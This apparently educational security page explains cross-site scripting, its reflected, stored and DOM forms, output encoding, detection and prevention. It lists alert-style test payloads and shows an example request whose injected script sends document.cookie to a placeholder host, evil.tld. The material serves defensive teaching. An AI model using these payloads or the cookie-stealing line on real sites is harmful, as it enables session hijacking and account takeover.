Web SecurityHighReflected XSSStored XSSDOM XSS

Cross-Site Scripting (XSS)

Untrusted input is reflected into a page without correct output encoding, letting an attacker run JavaScript in a victim’s browser session.

Live Playground · Powered by this research

XSS Payload Preview

Raw (unencoded)

<img src=x onerror=alert(1)>

Dangerous if reflected without encoding

HTML entity encoded

&lt;img src=x onerror=alert(1)&gt;

Safe when output to HTML body

Attribute encoded

&#60;img src=x onerror=alert(1)&#62;

Safe when output to HTML attribute

JavaScript string escaped

\x3cimg src=x onerror=alert(1)\x3e

Safe inside a JS string context

Rule of thumb: encode output based on where it's going. HTML body ≠ HTML attribute ≠ JavaScript string ≠ CSS ≠ URL. Wrong context = XSS.

Payloads from this research (10 total)

<svg/onload=alert(1)>

<svg onload=alert(1)>

"><svg/onload=alert(1)>

"><img src=x onerror=alert(document.domain)>

These payloads were synthesized from real HackerOne disclosures. Click any payload to copy it, then paste it into the tester above to see how our detection classifies it.

Overview

When user-controlled data reaches HTML, attribute, JavaScript, or URL contexts without context-aware encoding, the browser parses attacker markup as code. Reflected XSS echoes input from the request, stored XSS persists it server-side, and DOM XSS occurs entirely client-side via sinks like innerHTML or document.write.

How it works

Example

http

GET /search?q=<script>fetch("//evil.tld/c?"+document.cookie)</script>

<!-- reflected unencoded into: -->
<h2>Results for <script>...</script></h2>

Impact

Session hijacking, account takeover, credential theft, CSRF-token exfiltration, and full client-side compromise of the application for any victim who views the payload.

Detection

Inject context-probing markers across query, body, JSON, headers and path, then confirm reflection in an executable context. Rendering candidates in a real browser to verify actual script execution, rather than just checking for reflection, is what separates a confirmed finding from a false positive.

Prevention

Context-aware output encoding (HTML, attribute, JS, URL) at the point of output.
Prefer framework auto-escaping (React/Vue/Angular) and treat dangerouslySetInnerHTML as a red flag.
Avoid dangerous DOM sinks; use textContent and safe APIs instead of innerHTML.
Deploy a strict Content-Security-Policy with nonces/hashes as defense-in-depth.

Real-world HackerOne reports

Sampled from 481 disclosed reports analyzed for the Cross-Site Scripting (XSS) research playbook.

#1003433 #1010316 #1011463 #1012249 #1016253 #1028396 #1029238 #1029243